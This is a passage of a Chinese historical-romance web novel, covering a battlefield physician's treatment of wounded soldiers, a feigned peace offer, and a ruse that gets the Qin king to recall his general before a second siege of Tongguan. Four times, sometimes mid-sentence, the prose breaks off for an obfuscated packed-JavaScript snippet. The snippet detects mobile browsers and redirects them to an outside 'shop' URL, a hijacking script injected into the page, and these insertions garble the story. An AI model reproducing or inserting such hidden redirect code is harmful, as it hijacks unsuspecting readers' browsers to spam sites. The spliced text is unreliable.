她给他服下了麻药丸,用了四颗,极重的分量。不一会,蒋大龙就昏睡了过去。 皇甫仲取来利锯,让慕音准备止血和缝合伤口。锯断大腿骨,女子的力气太小,都是其他医士来完成。 “他大腿以下都已经坏死,就算截肢缝合,恐怕也很难熬过去。”皇甫仲开始截肢,对慕音道。完成手术是简单的,手术之后的恢复,则更多是听天由命。这么严重的伤口,在手术之后,往往出现高烧,和严重的伤口炎症,大多数人都熬不过去。 慕音听着锯子的声音,看着血肉模糊的伤口,忽然感觉到一阵恶心。她把止血药转身放到一旁的医士手里,冲了出去。 她扶着医馆外的一棵树,弯着腰,把中午吃下的那几口胡饼吐了一干二净,吐完之后,还忍不住干呕,连肠胃里的苦水都吐了出来。 这时,有人给她递来了一个水囊。慕音也来不及谢过,举起水囊,连喝了几口,又洗了一把脸,才感觉恢复了一些精神气。 “好些了么?”低沉微哑的声音传来,慕音这才发现,给她水囊的竟是谢时。他不知何时来了医馆,平日清冽的声音变得沙哑干涩。 谢时还穿着战袍,袍子上沾染着干涸的血迹,右手臂缠着绷带。想来从战场下来,他也来不及休息。如今,来医馆查看士兵伤势,鼓舞军心。 “你也受伤了?”慕音指了指他的手臂。 “嗯,被弓箭射到了,小伤。”他环视了一圈医馆,如此酷烈的情状,慕音一介女流,承 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282080|151873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受不住也是寻常。他转头打量慕音,她显然一夜未睡,眼下一片青黑,身上批了一件褂衣,斑斑点点的褐色血迹。 谢时让她去休息,慕音只是摇了摇头,“出来喘口气就好了。多谢将军的水。” 她将水囊递给他,再次进去了手术间。 谢时垂下眼帘,接过水囊,手指无意识地摩挲着水壶盖子。她这样子看起来确实像一个真正的医者,为了救治伤患,而废寝忘食。她心无旁骛,对医术精益求精。她也不在意自己的容貌、衣着,不知晓美貌本就是武器,她似乎也没想过要使用。 或许,她真的只是为了找到医治母亲的药典医书。 慕音再次进入手术间时,屋内血腥气大盛,蒋大龙的一边大腿已经被截断,露出鲜红的血肉,医士正在缝合伤口。慕音走过去,接替了他的位置。 她缝针快且准,不过一刻钟的功夫,裸露的伤口就已经处理干净。一旁观摩的医士忙递上绷带,慕音仔细地包扎好。之后,再去缝合另一个腿上的伤口。 等全部处理完,她感到一阵眩晕,忙扶着手术台,缓了一会,才稳住了双脚。皇甫仲看她如此疲惫,赶她出去休息了:“你自己的身体,自己照顾。累了没必要逞能,快去休息,晚上再来替换我。” 慕音这才出了手术室来。来到外间养伤的大厅里,发现谢时还在。他正坐在一个伤兵的旁边,唇角微扬着,对士兵说话:“都放心养伤,先锋队的功绩,已经在送去各自家乡的路上,你们的父母妻儿,都会以你们为荣,你们是汴京的大英雄,他们都会得到优待,减免赋税徭役。” 周围的士兵都纷纷露出感激的神色。乱世之中,能在大周军中当兵,即便赴死,也比关中蝗灾饿死的好。父母妻儿,总还有一条活路。 慕音没有再看,离开了大厅,回到临时搭起的小帐篷内,和衣躺下,闭目养神。迷迷糊糊间,似醒非醒,听到有人在喊她。 她睁眼一看,面前是照顾重伤病患的医士的焦急的神色:“慕娘子,快醒醒,蒋大龙高烧不退,喝药不进,你去看看。” 慕音嚯地一声坐了起来,也来不及整理头发衣裳,三两步跑了出去。 蒋大龙属于重伤病患,在最里面的房间里。慕音走了进去,就见他一张脸烧得黑红黑红,是不详的颜色。 医士端着药汤,束手无策:“按照你的吩咐,截肢的病患都必须用了安神汤和清毒丸,但是,蒋大龙都喝不进去啊。” 慕音上前,掀开他的眼皮查看他的眼珠子,一直乱颤,再看他的牙关,咬的死紧,无论如何也不肯张开。 慕音定了定神,从药箱中取出银针来,将蒋大龙身上的几处大穴封住。过了好一会,蒋大龙整个人才慢慢放松下来,进入安睡的状态。 医士忙趁着这时将药汤和药丸喂了进去,一面钦佩地看着慕音:“慕娘子,真神医啊!就没有你处理不了的事情!” 慕音看着吃完药还在沉睡的蒋大龙,默默地靠墙坐了下来,她挥手让医士去忙别的,“今晚,我照顾他。”只要熬过去今晚,他就有机会活着回到家乡,再见他心爱的女郎。 15. 议和 前半夜,慕音一直给蒋大龙的额头降温。尽管知道效果微乎其微,但是,如果她需要做点什么,来平静自己备受煎熬的心。 直到后半夜,实在熬不住了,她靠在墙边,闭目养神,迷迷糊糊睡了过去。 不知过了多久,慕音听到了有人在唤自己的名字:“慕娘子……” 她猛地惊醒过来,顺着声音望过去,原来蒋大龙醒了。微弱的晨光自窗外照进来,一丝光线落在蒋大龙的面庞上,照见他眼睛里带着些许笑意。 他喃喃说道:“我方才做了很长的梦,梦见我回了卢龙老家,阿兰穿着雪狐袄子,朝我笑,可真是好看啊!她说,等到开春,她的牡丹凤凰嫁衣就要做好了,我们的婚礼定在三月。百花坳里桃花梨花三月开得最好看了,她定然是最美丽的新娘子……” 慕音强忍着泪意,抬手轻轻抚上他的额头,依然无比滚烫,再去摸他手掌,却冰凉如霜。热气堆积于心脑,无法散去,恐怕是回光返照。 她喉咙发紧,勉力维持住不让声音颤抖:“我给你熬了药,等病好了,我们就一起去参加你的婚礼。” 她说完转身要去取药汤。但蒋大龙轻轻地扯住了她的袖子,他微微摇头:“我……大概是不成了。这样也好,对于一个猎人,失去了双腿,那活着还有什么意义呢?” 他望向窗外,眼中仿佛看到虚空里的幻象:“若是有一日,你路过卢龙,就请你到昌县小平山百花坳找吴兰娘,将这帕子还给她,告诉她我永远记得她。” 他颤抖着手,从怀中取出一方帕子来,递给了慕音。帕子上绣着一株兰草,姿态飘逸,如今染上了几滴血迹。“告诉她,我永远记得……” 蒋大龙的声音渐渐微弱下去,半抬着的手指无声地垂落下去。 慕音再也忍不住,泪如雨下:“不,你醒醒!她等的是你,我才不会替你去,要去你自己去!” 蒋大龙再也没有说话,他的唇角还带着一丝微微的笑意。 一股巨大的苍凉几乎将慕音击倒,她感觉到了窒息,跌跌撞撞地跑了出来,外头竟是下起了雨。秋雨寒凉,冷冷的水汽扑面而来。她愣愣站在潇潇的秋雨中,看着天空,为何天道如此残忍。 这时,一件大氅劈头将她拢住,谢时不知何时来了医馆,他扯着她的手臂,走进了一旁的偏厅,将她按坐在榻上,温声道:“怎能就这样冲进雨里?不小心得风寒了怎么是好?你需要休息……” 没等他说完,慕音哇地一声哭了起来,她双手从大氅中伸出,紧紧地抱住了谢时的腰,埋头痛哭。 谢时身影一僵,片刻后才缓缓抬起大掌来,轻轻地拍着她的背。她哭的不能自已,发出一阵哀戚的哭声,后背纤细的肩胛骨都在微微抖动着。 谢时心中升起了浓浓的爱怜。她行医时清冷无情、不苟言笑,实则心底质朴柔软。正因为心底柔软,所以才用清冷无情来作为外衣,没有感情,那就不用害怕生离死别,那就不需要经历一次次的锥心之痛。 慕音哭累了,回过神来,慢慢地放开了谢时的腰,手缩回了大氅之中,有些赧然。自己一时心里难受,倒是把谢时当成了自己人。她偷偷觑了谢时一眼,见他神色如常,又如释重负,轻轻呼出一口气来。想来战场之上,也没那么多男女大防。 谢时在这一刻,相信慕音确实只是想治病救人。 她如此奋力地在抢救每一个有机会活下去的人,并且因为他们的逝去而悲痛流泪。她像当年刚上战场的自己,面对战友和同伴的死亡,而失声痛哭。她像每一个新兵,刚刚到军队,面对第一次厮杀之后。 她眼神中的悲痛、茫然、无所适从,都表现得那么明显。她是一个本该在花园里奔跑的花狸猫,有着柔软的肚皮和爱人的心,却突然踏入了血肉横飞的修罗场。 谢时第一次放下心中戒备,缓缓道:“我们谢家,守汴京百年,死在长城边上的族人,足有数百。我十五岁参加对契丹的第一次战争。我的堂兄,死在了我的眼前。我十分痛苦,我的长兄告诉我,乱世之中,唯有以战止战,以杀止杀。” “慕音,我们会等到那一天的,再也没有战乱,人人安居乐业。”他的目光无比坚定,如同天边的启明星,熠熠发光。 慕音安静了下来,她看着谢时,仿佛看不懂他。一个人的身上,怎会如此矛盾呢?最开始,她以为他是最容易亲近的人。接着,她发现他性格中存在酷烈。他对待敌人,便是冷酷杀神,绝不带一丝犹豫。他有时候像残暴酷烈、高高在上的君王,有时候又像质朴热情、赤子之心的不羁少年。 “以战止战,以杀止杀?”慕音低声地重复着这句话。 谢时点头,目光平静:“这是战争唯一的意义。我们会缔造一个盛世。” 谢时叮嘱她好好休息,之后起身离开了,今日还有军事会议。李渡、窦筑邦等十余位将领已经在帐中等他,商讨进一步事宜。 潼关第一战,大周军出动五万人,围攻潼关,亡故数百人,伤者数千。昨日战况之激烈,简直叫日月失色。 李渡将一封拟好的书信呈给谢时,道:“公子,这是议和书,已经拟定。” 谢时取来,一目十行地看了,沉吟道:“我们只打了一仗,就议和,独孤茂会相信吗?” 窦筑邦立刻上前,拍着胸脯道:“若是还要再打,就由我领兵出战!” 桓廷也站了出来:“末将愿领兵再战!” 谢时想起死去的蒋大龙,一时没有说话,只看向李渡。 李渡狭长的双眼中闪烁着遮蔽不住的光芒:“信,是必须送的。他第一次就相信了,那我们损伤将降到最小。他若是不相信,我们就打第二回、第三回。秦国局势并不乐观,剑阁、陈仓和玉门关的守将准备不足,只有独孤茂有能力在短期内组织起防线。独孤茂分身乏术,他需要议和来赢得部署防线的时间。” 第二日,一封议和书送到了独孤茂的桌上。 “谢时求和?”独孤茂正在为剑阁、陈仓和玉门关的兵力部署之事殚精竭虑、忧心忡忡,忽而收到这封议和书,他的第一反应就是有诈。 “谢时为何要求和?他大周军兵强马壮,粮草充足,武器精良。我若不是占据潼关天险的优势,未必能有如今的优势。” 石础想了想,道:“主公所言甚是。但是,议 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282081|151873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和对我们也并无害处。且先停战一段时间,待您整顿好剑阁、陈仓和玉门关的兵力,再战不迟。” 剑阁、陈仓和玉门关兵力都不足,需要征调民夫入伍,训练新兵。在新兵完成训练之前,为防敌人的突然侵袭,需要先从各地调派官兵过去。此实乃无奈之举,但不得不为。 独孤茂上奏秦王,请求从各地抽调兵丁三万人,一万发往玉门关,抵御回鹘人,另两万分别发往剑阁和陈仓,抵挡公孙义。 对此,石础甚是愤愤不平,道:“陛下也不知道在想什么,早两年元帅您就提议,要征兵充实边境了,竟是什么也没做,导致今日捉襟见肘、四处救火、陷于被动。” 独孤茂沉默着,没有说话。他当然知道原因,无非是王照怕再征兵,自己军权太盛,威胁到帝位的稳固。 独孤茂的征兵和分兵奏折,快马加鞭,穿过重重山川城镇,一日后到达了秦王王照的御书房书案之上。 夜色浓重,御书房里还是灯火通明。巨大的铜鹤灯树,分成了十几盏,十几支儿臂粗的蜡烛正在燃烧着。 王照年约三十,俊美阴柔,带着几分书卷气。他乃是前朝尚书令王炎的儿子,王炎夺取关中,驱逐旧帝,尚来不及称王称帝,便暴病而亡,因此,王照继承王位。 他一身黄袍,坐在殿上,摩挲着独孤茂的奏章。独孤茂还想征兵,他人在潼关,实则对秦国四境的军备都有控制权。剑阁、陈仓和玉门关的将领,都一边向自己汇报事务,一边向独孤茂汇报。 独孤茂征战四方,从无败绩,他是那些武夫的神。而自己,只是一个橡皮图章,需要知会,需要盖章。今天这看起来是一封奏章,实则只不过是独孤茂的通知罢了。很快,长安的世家就会要求他同意请奏事宜。 王照狠狠地讲奏章摔在了地上。自己如今这副模样,与从前的废帝又有何区别! 侍奉在王照身侧的宫人看到帝王发怒,扑通一下全跪倒在地上。偌大的宫殿里,一片安静。 就在这时,殿外传来脚步声,王照抬眼望去,就见王后独孤容仪态端庄地走了进来。她年二十七八,正是风姿绰约、丰熟妩媚的年龄。 她缓步走来,看到掷在地上的奏章,伸出涂了火红丹蔻的纤纤手指,将奏章捡了起来,走到书案旁,将奏章放下,娇声道:“陛下,是我哥哥又惹你生气了?别生气啊,他就是一介武夫,不懂大道理,您为他生气不值当。” 王照搂住了独孤容的腰肢,大掌抚弄,揉捏了一把,将她抱坐在自己腿上,叹息道:“阿容,国舅说还要征兵。你也知道,去岁关中蝗灾,饿死的人不知多少。再征民夫,我怕生出民乱来。到时候,长安城就更危险了。” 独孤容最喜欢王照于私下唤自己小名,仿佛还是从前十几岁少年情动时。她双眼满是仰慕之意地看着王照:“照哥哥,你真是时刻都惦记着天下苍生啊。有这样有德君子作为国主,也是关中百姓万民的福分。既然征兵行不通,我去信劝劝大哥,让他再想想办法,你看可好?” 王照露出一个欣慰的笑容,道:“阿容果然对我最好。”他微微低头,薄凉的唇印在了独孤容的额头之上。 16. 窥探军营 独孤茂在两日后收到了王照的回复,信中还夹杂着小妹独孤容的信。王照否决了征兵的提议,他的理由十分正义凛然,是民不堪重负,不能再征调民夫。但是,王照同意了从各地抽调守兵的请求,并授予他敕令,各地守将悉听他调遣。 独孤容则在信里问他一切可好,跟着把王照的说辞再说了一遍,末了就是恳求兄长,莫要征调民夫,万一真的引起民乱,可如何是好。 石础看到这份手令,气得骂娘:“现在还说这么大义凛然的话,等到大周军打进来了,看他还可不可怜老百姓!” 独孤茂似乎早有预料,他不置一词,开始写信。他无法离开潼关,就只能派麾下将领持秦王敕令和自己的手书,去各地借兵,以充实边境。实则,秦国内几个城池,也没有多少守兵。就算有,大多数也没有经过系统规模的训练,不堪一击。但是,现在没有选择。 第二日,谢时收到了独孤茂对于议和的回信,说书信往来,先谈条件,若是合适,再行面见。 窦筑邦哈哈大笑,声如洪钟一般,蒲扇般的大手拍在李渡的肩膀上:“先生,神机妙算!神机妙算啊!” 李渡忍着疼,保持着云淡风轻的微笑:“且等着,好戏还在后头呢。” 谢时给独孤茂的回信也十分简洁,契丹已经在山海关开战对大周军开战,周王不愿两线对战,因此议和。 独孤茂依然没有答应议和,出于将领的直觉,他嗅到了危机的气息,但是却不知道会是怎样的危机。 只要维持目前的状态,再多几天,就够了。独孤茂想,他并不需要议和,完全没有必要。他本来就不会主动出击大周军,他的目标是守住潼关。而只要大周军不进攻,他就赢得了时间。 长安城中,世家不知为何知道了独孤茂上书给秦王的征调民夫的奏章。他们在朝堂之上,联名上书,要求秦王按照独孤茂的建议,征调民夫,拱卫边境。 “若是玉门关破,回鹘将长驱直入。征调民夫,未必会有民乱,只要分散地区,抽取的人数不多,也就不会形成合力造反了。反而是边境缺少兵力,只怕会被胡人灭国啊!” “陛下,请下旨征调新兵入伍,备战边境!” 世家大臣们声泪俱下,历数从前胡人入侵关内的种种恶行,仿佛明天玉门关就会被击破一般。 王照被哭得头疼,心中窝火,揣测一定是独孤茂那老匹夫看见自己的诏令,心有不满,指使长安城的世家大臣闹事。皇帝做到这个份上,处处掣肘,真是受够了。 他回了太极宫,偌大的宫殿,宫人们跪着迎接他的归来。内侍丘德生笑得谄媚,眼角的笑纹都能夹死蚊子了。他弯腰在王照身边低声道:“汴京的探子来信了,他有机会光明正大去大周军营去探听消息,无人设防。” 王照眼睛一下亮了起来,叮嘱道:“再有消息,第一时间呈报给我!看看他独孤茂是不是真的有司马昭不臣之心!” “是,陛下。”丘德生阴柔一笑,道。 大周军中,一群和尚和道士正在为亡故将士做一场法事,距离第一次攻城战已经七天。本来是没有这样的计划,但是,恰逢九月九,是历来吊唁亲人的节日。谢时为示对战亡士兵的敬重,也就跟随习俗,办这么一场法事。 和尚是附近山里大悲寺的主持,带着十余个小沙弥。道士则是天正道长,他此前因坑骗崔母被抓进大牢里,如今算是将功补过,做免费劳动力。哪天等谢时满意了,他就可以走了。 法事就在大营之中的开阔空地之上。设有三牲祭品,有祭拜台。谢昭、谢时、李渡、窦建德、桓廷等将领谋士悉数到场,亲自焚香跪拜,三叩九跪,酒撒山河。 和尚和道士则在祭台之下,搭了帐篷,从早到晚在念经。不少大周军将士聚在周围,回想亡故战士的音容笑貌、同袍之谊。 天正道长一心两用,一边念经,一边听众人对话。然而,听了半天,也没听到什么有用的内容。到中午,他借口去解手,又假装迷路,在大营里转悠,实则慢慢像中军帐靠近。高级将领的帐篷也都在中军帐的周围,他在那里或许听到有用的信息。 突然,一柄匕首按在他的肩膀上,天正道长本就心虚,砰地一声跪在地上:“好汉饶命!” 噗嗤一声,身后传来女郎爽朗的笑声,“我就说他是个怂货,一吓就破胆。” 天正道长松了一口气,忙转回头,就看见大周军元帅谢时,和当日在崔宅剖腹取子的医女。 谢时拿着匕首,冷冷地觑他,“你在干什么?窥视军营?给你将功赎罪的机会,你就这么用的?还不赶紧去多念几遍经!” 天正道长干笑着,爬起身来,弓背弯腰道:“我,我迷路了,这就滚回去,这就滚回去。”那日在崔宅作乱后,他被谢时麾下那些凶神恶煞的卫兵锁进的大佬,一旁恰是用刑的地方,连着几夜,他都没睡好。钢鞭、火炭、烙铁,还有被审讯的人的哀嚎声,早就被吓得肝胆俱裂。 好在谢时查了一遍道观,没发现什么杀人放火、欺男霸女的坏事,将他放了出来。要不是逼不得已,他是真的一分钟都不想踏进有谢时的地方。 看着是个鲜衣怒马的公子哥,实际上是个嗜血好杀的杀星。他垂头丧气地回了做法事的地方,仍旧一板一眼地念经,再也不敢再出去刺探。 然而,天下的事情就这般的巧。到了晚上吃饭时,其他和尚道士都出去吃饭了,只留天正道长还在里头。这是谢时的命令,因他念经不认真,今晚就不必吃饭。天正道长饿得前胸贴后背,想着现在无人盯着,就也没有念经,躺到在一旁的地上。暮色浓重了,帐篷投向阴影,不仔细看,也不知道这里有人。 有两个将领这时候一边说话一边走了过来,他二人取了香,点燃,跪地,嘴里祝祷着: “蒋兄弟,很快,我们就能为你报仇雪恨了!” “潼关必破,王照必死。” “王照必死!独孤茂已经与我们议和,待他控制秦国全境,潼关就会为我们打开。到时候,我们杀进长安,杀进太极宫!” “呵,天下谁人不知,周王才是英主,天明所在。他关中一年蝗灾,一年荒灾。我汴京则风调雨顺,连年丰收,安居乐业。王照必死,以慰英灵!” 两人说完,对视一眼,起身而去。 天正道长无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14286616|151873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意间听得秘事,只觉得胸中惊涛骇浪,原来,独孤茂真的有反心! 第二日,天正道长做完法事,迅速离开了大营。 慕音看着他匆忙离去的背影,疑惑地问谢时:“他这么轻易就相信了吗?王照又会这么轻易就相信?” 独孤茂是他王家上位的最大助力,也是如今秦国最善战的将领,若是限制独孤茂,与自断臂膀有何区别。 谢时微哂,语气颇为不屑:“这道人贪财好利,愚钝不明,最是容易轻信。而王照疑心甚重,又刚愎自用,全靠的是当年他父亲给的庇护才上位的。他早已对独孤茂心怀不满,就等着一个契机发作。他想要,我们就给他。” 长安太极宫,王照收到密报,天正道长仔细地写了自己在大周军大营听到的关于议和的秘闻。 王照惊出一身冷汗。他虽然时常觉得独孤茂很有可能取而代之,但是,却也并没有实际证据。独孤茂从来语气恭敬、行事低调,并没有明显逾矩的行为。因此,他也常常自我安慰,或许只是自己多心了。 然而,独孤茂可能是在麻痹自己。他都已经在跟大周军议和了,议和,议的不一定是秦国和汴京停战,可能是他独孤茂投向汴京,周王给什么样的政治回报! 王照心脏急跳,在地上走来走去,犹如热锅上的蚂蚁。他问肃立在殿内的内侍长丘德生:“你的这个线人,靠得住吗?哪来的?” 丘德生躬身回答:“这是我家乡的兄弟,做了十几年的道士了,探听内宅的消息是一把好手。” 王照又问:“那该怎样把独孤茂从潼关召回?”他不确定独孤茂是不是已经将他卖了,但是,他也不敢再让独孤茂守在潼关了。换帅,就是最好的办法。 丘德生双眼一转,悄声道:“奴听说,独孤茂有一美妾,有孕在身,若是产后虚弱,命不久矣,不知道能不能将他召回?” 王照慢慢停了下来,负手沉吟,缓缓摇头:“他那般为家国大义,恐怕不会回来。” 丘德生转念一想,又说:“独孤茂的母亲,也年迈了,若是重病,总要回吧?他少年丧父,乃是寡母拉扯长大,后有遇到先王栽培礼遇,才有今日风光,都说他是大孝子。” 王照沉吟不语。 丘德生继续道:“让皇后娘娘写信,独孤茂必定相信。” 王照眉头似乎展开了一些,但还有别的问题:“但潼关主将不在,岂不是万分危险?” “上次独孤茂的奏章不是说了,大周军在北边面临契丹的攻击,不愿两线作战,所以潼关议和。我们再派一个督军过去就是了。独孤茂的副将不是一样身经百战么?”丘德生很有把握地说。 王照的眉头终于松开了。他再三斟酌着,应该没有漏洞了吧? 潼关天险,本就易守难攻。潼关布防,又早已完成。再派督军过去,表示皇帝重视。待到独孤茂回京后,他先解了他的职务,让他养伤为名,待在家中。督军到时候再给潼关副将一个新的任命,担任元帅,如此就可以完美衔接了。 长安守将王谦,乃是王照的叔父,从前就和独孤茂意见不一致。只要独孤茂进了京城,他就翻不出天了。 17. 再战潼关 三日后,王照所派的督军,手持秦王敕令和皇后手书,来到了潼关。 独孤茂见敕令,有几分疑虑。再看妹妹的手书,详细地写了母亲突患急症、陷入昏迷,医官束手无策的情状,只恳求他速回,见母亲一面。纸上曾洒下斑斑泪水,有些字的墨迹都晕开了。 他神色凝重,闭目,双手按在书案上,长叹一声。 他父亲壮年亡故后,母亲独自支应门庭,对他循循善诱,若是不能见最后一面,实在枉为人子。然则,边境战事如箭在弦上,此时作为主帅,又如何能够离开? 大周谢氏父子虎视眈眈,绝不会轻易罢手的。 王照派来的督军正是内侍长丘德生。丘德生笑眯眯地说:“将军,陛下说了,您是大孝子,令堂生死一线间,总该见一见。快马加鞭不过几日时间,潼关天险,又有石将军这般得力的副将,守几日总是可以的。” 独孤茂看向石础。石础有些犹豫,大战时,最忌主帅离营。万一有敌情,人心如何聚拢?但是,他知道独孤茂对寡母至孝,就不知道该如何开口。 独孤茂将敕令和手书放下,请丘德生去休息。待他走了,他和石础信步走出了元帅府,缓缓地上了城楼。 厚重的潼关城墙,在长达千年的时间里,都是兵家必争之地。一年年重复修建的城墙上,洒了许多人的鲜血,终结了许多人的生命。 城墙上,夜色浓重,寒风凛冽。远远地看,城外是大周军的军营,火光点点。 最终,独孤茂长叹一声,道:“我快马加鞭,回京一趟。两日可达京城,四日就能回来。你守住四天,就可以了。” 石础张嘴欲说些什么,最后却只是一抱拳,应下“诺”。 独孤茂带着十余亲卫,连夜离营。 谢时很快收到信报,将领们连夜被从被窝里拉起来,聚集到中军帐中。武将都对李渡佩服等五体投地,赞扬声不断:“先生真是运筹帷幄,决胜于千里之外!”“如此算计人心,精妙无比,佩服佩服!” 李渡轻咳一声,面上流露出一丝得色,“好了,等攻占潼关,再来庆功不迟。需要静待两日,独孤茂进入长安城后,我们发起总攻。这两日,军营一切如常,不可引起潼关守将的怀疑,否则他派人追回独孤茂,就功亏一篑。” 众将领领命,谢时开始分派任务,部署计划,以及武器用法。 慕音所在的医药馆,自上次治疗了众多伤兵之后,药材药丸绷带几乎一洗而空。趁着议和这十余日的空档,又一一补齐了,做了些临时的止血散、镇痛丸。决战很快就要来了,只会比上一次惨烈。 她正在清点药丸的时候,谢时来了。她觑他一眼,继续清点,一边道:“将军来得正好,本来要去找你的。这里有止血散和镇痛丸,带在身上。受伤流血了,就先用着,顶住来到医馆。” 她上一次清点亡故者,发现了一个问题。很多人的伤势,其实并不算太重。但是,从战场下来,再到医馆,需要时间。如果伤口血流不止,伤者很快就失血而亡。止血散和镇痛丸带着,或有能多几分活下去的可能。 但是,时间太紧张了,能做的数量有限,只能分发到给千夫长、百夫长,普通士兵只能看运气了。 谢时懒洋洋地看着他,拖长着声音说:“我分不清楚哪个是止血的,哪个是止痛的。慕医官给我说一说呀。” 战前不知为何,突然想见她一面,就这么来了。可是,慕音显然忙碌着,并没有想跟他多说话,甚至连正眼都没看他一眼。谢时不痛快了,那就必须让慕音也做不成事。 慕音这才停了手中的活,瞅了谢时一眼,说:“谁给你气受了?阴阳怪气的。什么慕医官,我可不是。” 话是这么说,慕音麻利地捡好了十余颗镇痛丸和四五包止血散,装在了一个布囊里,堪堪可以握在手中,揣入怀中。 “若是见血了,轻伤就先止血,一到两包就够了。但若是大出血,就四五包都用上。受伤的话,必然伴随剧痛,痛的受不了,就吃丸药。”慕音一边说,一边把布囊递给了谢时。 谢时接过,往怀里一揣,说:“小爷一定会旗开得胜!潼关很快就会打下的。你不要怕。” 他还记着她在蒋大龙的尸身旁失魂落魄、嚎啕大哭的样子。 慕音唇角扯出一个微笑,道:“我知道。你是战无不胜的大将军谢时,是天上星宿下凡。” 谢时伸手,轻轻揉了揉她的发顶,道:“等我的好消息。” 长安,独孤府。 独孤茂快马加鞭,连夜回京。回到家中,丢下马鞭,衣裳都来不及换,就去正房探望母亲。孤灯一盏,老妻还坐在一旁打着盹。见他回来,又惊又喜,忙给他端茶倒水。 独孤老太君已是病了几日,水米不进,自觉不久于人世。孰料,膝下唯一的儿子漏夜赶回。她树皮般干枯的手掌轻轻抚摸他的脸颊,道:“见过这一面,就行了。快快回潼关去吧,那才是你该待着的地方。” 独孤茂在床前,撩起衣摆,跪下,给母亲行了三个大礼。起身,快步离去。 然而,他才刚刚走到府门,就有王照派来的羽林卫,请他入宫一叙。独孤茂在宫中,建了秦王,秦王轻飘飘地告诉他,由于老太君病重,已经临时任命石础为元帅,总领潼关事。“国舅你只需要在京城,照顾老太君便是了。” 独孤茂霍地一下站起身来,怒目而视,“战时换帅,动摇军心。我立刻返回潼关。” 王照笑着说:“潼关天险,又有石将军在,他亦是身经百战。” 独孤茂不再多说,行礼告退。然而,在他要踏出御书房时,羽林卫拦住了他的去路。 “请国舅在长安城多待几日吧。”王照冰凉的声音从内殿出来。 大周军对潼关的第二次攻击是在凌晨时分发起的。巨石落在城墙之上重重的撞击声,搅碎了潼关将领和士兵的梦,也包括丘德生。 丘德生不过是出身乡野的小民,活不下去了才净身进了宫,凭借着几分揣摩人心的本事,一路青云直上。他久居深宫,那日来到潼关,看到这般天险,又作为督军,在元帅府中对一众将领传达帝命,人人对他奉承不已,感觉实在很好。待到他登上城楼,在三丈高的城楼上俯瞰时,更觉得自己俾睨天下,什么独孤茂、谢昭,也不过尔尔了。有如此城楼,还怕什么。 果然,独孤茂走了两日,大周军都没有什么动静。丘德生更加得意了,想着自己这一回回去太极宫,不知道能不能再进一步,到朝堂上去。就像从前那些王朝里,把控朝廷和小皇帝的内侍们一样。 这样的美梦被巨石的撞击声砸得粉碎。 丘德生慌乱中奔出房间,就看到天空中火光大胜,城墙外杀声震天。丘德生大惊,跌跌撞撞向议事厅跑去。 这时,大周军已经开始了第一轮的攻城。先放孔明灯投书,乱敌人军心。再上投石机,声音巨大,乱敌人心神。机弩连发,火箭不断,带着火油,逢物就烧。这段时日,他们探听到粮草所在位置,火箭也就密集射向该区域。 步兵持着盾牌、云梯,开始攻城。 石础等守城将领按照此前布防,进行反击。依然是石头、热油、弓箭持续不断地往城墙上倾倒,一轮一轮的士兵上前,攻击下方攻城的将士。 箭弩声、巨石砸落声、火烧房屋声、惨叫声、怒喊声,充斥着城池上下周围。熊熊火光照亮了黑暗的天空,映照出不断冲向城墙的大周军。大周军如同波浪一般,前赴后继, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14295732|151873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一浪又一浪。 仅仅只是如此,石础还是镇定的。他也是从战场里一刀一枪拼杀出来的将领,潼关一切布防早已做好,就是元帅独孤茂,也是按计划行事,并无不同。 丘德生跑到议事厅,看到石础镇定地发号施令,底下众人都听令行事,井然有序,一颗几乎跳出喉咙的心才缓缓地落到了肚子里。 战事如火如荼,双方都憋住一口气,不知疲倦地冲锋陷阵。石础现在回过味来,知道议和只是大周军的一个幌子,目标就是让潼关守将掉以轻心。 到了现在,这场战争必然是你死我活的。双方都在倾尽全力。 天色熹微的时候,潼关城墙上的将领和士兵,看到了他们此生难忘的一幕,十余个巨大的云梯出现在了潼关城十丈之外的地方。 